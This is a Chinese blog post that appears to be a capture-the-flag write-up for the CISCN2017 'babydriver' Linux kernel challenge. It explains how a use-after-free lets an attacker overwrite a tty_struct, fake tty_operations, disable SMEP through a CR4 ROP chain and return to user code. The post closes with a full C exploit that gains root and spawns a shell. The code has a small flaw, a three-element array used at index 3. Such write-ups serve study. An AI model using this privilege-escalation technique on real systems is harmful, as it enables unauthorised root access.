美文网首页
BypassSMEP babydriver(CISCN2017)

BypassSMEP babydriver(CISCN2017)

作者: HAPPYers | 来源:发表于2019-07-26 16:40 被阅读0次

Conclusion

这道kernelPWN利用点是UAF+TTY_STRUCT。
通过UAF来控制tty_struct,从而这个结构体中的tty_operations,我们在打开/dev/ptmx设备文件时会创建tty_struct,之后如果写/dev/ptmx的时候,会触发tty_operations中执行write函数的指针,我们只要构造好tty_operations中若干函数指针,就能用ROP关掉SMEP,并且ret2usr。

如何关闭SMEP

SMEP即内核执行保护,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误;系统根据CR4寄存器的第20位判断内核是否开启SMEP,为1时开启,为0时关闭(第21位是SMAP位)

mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;

分析

如何调用这个结构体?

open("/dev/ptmx", O_RDWR)时会创建一个tty_struct。

如何使用tty_operations中的函数指针?

往上面所open的文件中write就会调用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函数,依次类推。

tty_struct结构体

本结构大小是0x2e0

    struct tty_struct {
        int magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;        < -------------------------- 这里
        int index;
        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;
        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
        /* Termios values are protected by the termios rwsem */
        struct ktermios termios, termios_locked;
        struct termiox *termiox;    /* May be NULL for unsupported */
        char name[64];
        struct pid *pgrp;       /* Protected by ctrl lock */
        struct pid *session;
        unsigned long flags;
        int count;
        struct winsize winsize;     /* winsize_mutex */
        unsigned long stopped:1,    /* flow_lock */
                  flow_stopped:1,
                  unused:BITS_PER_LONG - 2;
        int hw_stopped;
        unsigned long ctrl_status:8,    /* ctrl_lock */
                  packet:1,
                  unused_ctrl:BITS_PER_LONG - 9;
        unsigned int receive_room;  /* Bytes free for queue */
        int flow_change;
        struct tty_struct *link;
        struct fasync_struct *fasync;
        wait_queue_head_t write_wait;
        wait_queue_head_t read_wait;
        struct work_struct hangup_work;
        void *disc_data;
        void *driver_data;
        spinlock_t files_lock;      /* protects tty_files list */
        struct list_head tty_files;
    #define N_TTY_BUF_SIZE 4096
        int closing;
        unsigned char *write_buf;
        int write_cnt;
        /* If the tty has a pending do_SAK, queue it here - akpm */
        struct work_struct SAK_work;
        struct tty_port *port;
    } __randomize_layout;

tty_operations结构体

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);     < -------------------------- 这里
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;

步骤

可以利用UAF构造大小和tty_struct一样的空间(0x2e0)去存储新建的tty_struct,从而达到修改tty_struct的效果,并直接构造用户态的伪tty_operations,修改其中的函数为rop,从而在调用函数时成功劫持程序流到我们所构造的rop中。

伪造tty_struct结构

先使tty_struct结构的const struct tty_operations *ops指针指向伪造的fake_tty_operations

伪造fake_tty_operations结构,劫持控制流

再伪造fake_tty_operations结构,通过第8个指针write劫持控制流,第8个指针放上我们的rop。问题是这时候rsp指向内核栈,只能执行1个gadget。
构造fake_tty_opera:

    unsigned long fake_tty_opera[30] = {
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };

我们在调试的时候发现,执行write函数时,rax指向fake_tty_operations结构,rsp指向内核栈。我们可以在fake_tty_opera结构上布置rop链,利用唯一的gadget将rax赋值给rsp

继续构造rop链提权

以上fake_tty_opera中的rop已经更改了cr4寄存器,即关闭了smep保护。由于fake_tty_opera空间太小,可跳转到更大的空间继续构造rop链。接下来rop的任务是调用commit_creds(prepare_kernel_cred(0))函数来提权,由于关闭了SMEP,可直接用ret2user方法。

    unsigned long rop[30] = {
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };

EXP

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    unsigned long user_cs,user_ss,user_rsp,user_flag;
    unsigned long prepare_kernel_cred = 0xffffffff810a1810;
    unsigned long commit_creds = 0xffffffff810a1420;
    
    void save_state(){
        __asm__(
                "mov user_cs,cs;"
                "mov user_ss,ss;"
                "mov user_rsp,rsp;"
                "pushf;"
                "pop user_flag;"
               );
        puts("[*] save the state success!");
    }
    
    void getshell(){
        system("/bin/sh");
    }
    
    void getroot(){
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    
    int main(){
    
        save_state();
    
        unsigned long rop[] = {                                                   //状态转化,getshell
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };
    
        unsigned long fake_tty_opera[30] = {                                               //伪造的tty_opera
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };
    
        int fd1 = open("/dev/babydev",2);
        int fd2 = open("/dev/babydev",2);
    
        ioctl(fd1,0x10001,0x2e0);
    
        //printf("rop:%x",rop);
        close(fd1);
    
        int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    
        unsigned long fake_tty_str[3] = {0};
        read(fd2,fake_tty_str,32);
        fake_tty_str[3] = fake_tty_opera;                                   //修改tty_struct
        //printf("fake_tty_opera:%x",fake_tty_opera);
        write(fd2,fake_tty_str,32);
    
        write(fd3,"V1NKe",5);                                   //触发rop
    
        return 0;
    }

相关文章

网友评论

      本文标题:BypassSMEP babydriver(CISCN2017)

      本文链接:https://www.haomeiwen.com/subject/xdsdrctx.html